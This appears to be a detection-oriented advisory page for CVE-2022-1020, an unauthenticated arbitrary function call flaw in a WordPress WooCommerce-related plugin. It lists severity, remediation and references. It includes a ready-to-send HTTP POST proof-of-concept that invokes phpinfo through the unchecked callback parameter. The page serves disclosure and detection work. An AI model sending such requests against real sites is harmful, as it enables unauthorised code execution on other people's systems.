🔙 목록으로 돌아가기

CVE-2022-1020: WordPress WooCommerce <3.1.2 - Arbitrary Function Call

TitleWordPress WooCommerce <3.1.2 - Arbitrary Function Call
AuthorAkincibor
SeverityCritical
ImpactIt allows remote code execution on the affected system.
RemediationUpdate WordPress WooCommerce plugin to version 3.1.2 or later to mitigate the vulnerability.
CVSS Score9.8
EPSS Score0.92138
CVE IDCVE-2022-1020
CWE IDCWE-352
Tags cve cve2022 wpscan wp wp-plugin wordpress unauth codeastrology vkev vuln

🔍 Vulnerability Description

WordPress WooCommerce plugin before 3.1.2 does not have authorisation and CSRF checks in the wpt_admin_update_notice_option AJAX action (available to both unauthenticated and authenticated users), as well as does not validate the callback parameter, allowing unauthenticated attackers to call arbitrary functions with either none or one user controlled argument.

🌐 HTTP Request

POST /wp-admin/admin-ajax.php?action=wpt_admin_update_notice_option HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.4
Connection: close
Content-Length: 44
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

option_key=a&perpose=update&callback=phpinfo

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-1020.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-1020.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A